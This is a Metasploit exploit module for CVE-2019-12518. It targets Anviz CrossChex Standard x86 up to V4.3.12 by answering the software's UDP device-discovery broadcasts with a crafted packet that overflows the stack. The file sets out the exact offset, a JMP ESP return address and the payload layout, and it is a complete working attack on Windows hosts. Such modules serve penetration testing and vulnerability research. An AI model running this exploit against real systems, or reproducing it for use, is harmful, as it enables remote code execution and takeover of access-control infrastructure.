##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  PACKET_LEN = 10

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Anviz CrossChex Buffer Overflow',
        'Description' => %q{
          Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
          triggering a stack buffer overflow.
        },
        'Author' =>
          [
            'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit
            'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit
            'agalway-r7', # Module creation
            'adfoster-r7' # Module creation
          ],
        'License' => MSF_LICENSE,
        'References' =>
          [
            ['CVE', '2019-12518'],
            ['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
            ['EDB', '47734']
          ],
        'Payload' =>
          {
            'Space' => 8947,
            'DisableNops' => true
          },
        'Arch' => ARCH_X86,
        'EncoderType' => Msf::Encoder::Type::Raw,
        'Privileged' => true,
        'Platform' => 'win',
        'DisclosureDate' => '2019-11-28',
        'Targets' =>
            [
              [
                'Crosschex Standard x86 <= V4.3.12',
                {
                  'Offset' => 261, # Overwrites stack memory to allow saved EIP to be overwritten
                  'Ret' => "\x07\x18\x42\x00", # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code
                  'Shift' => 4 # Positions payload to be written at beginning of ESP
                }
              ]
            ],
        'DefaultTarget' => 0
      )
    )
    deregister_udp_options
    register_options(
      [
        Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
        Opt::CHOST('0.0.0.0', true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
        OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
      ]
    )
  end

  def exploit
    connect_udp

    res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore['TIMEOUT'].to_i > 0 ? datastore['TIMEOUT'].to_i : nil)
    if res.empty?
      fail_with(Failure::TimeoutExpired, 'Module timed out waiting for CrossChex broadcast')
    end

    print_status 'CrossChex broadcast received, sending payload in response'
    sploit = rand_text_english(target['Offset'])
    sploit << target.ret # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code
    sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
    sploit << payload.encoded

    udp_sock.sendto(sploit, host, port)
    print_status 'Payload sent'
  end
end
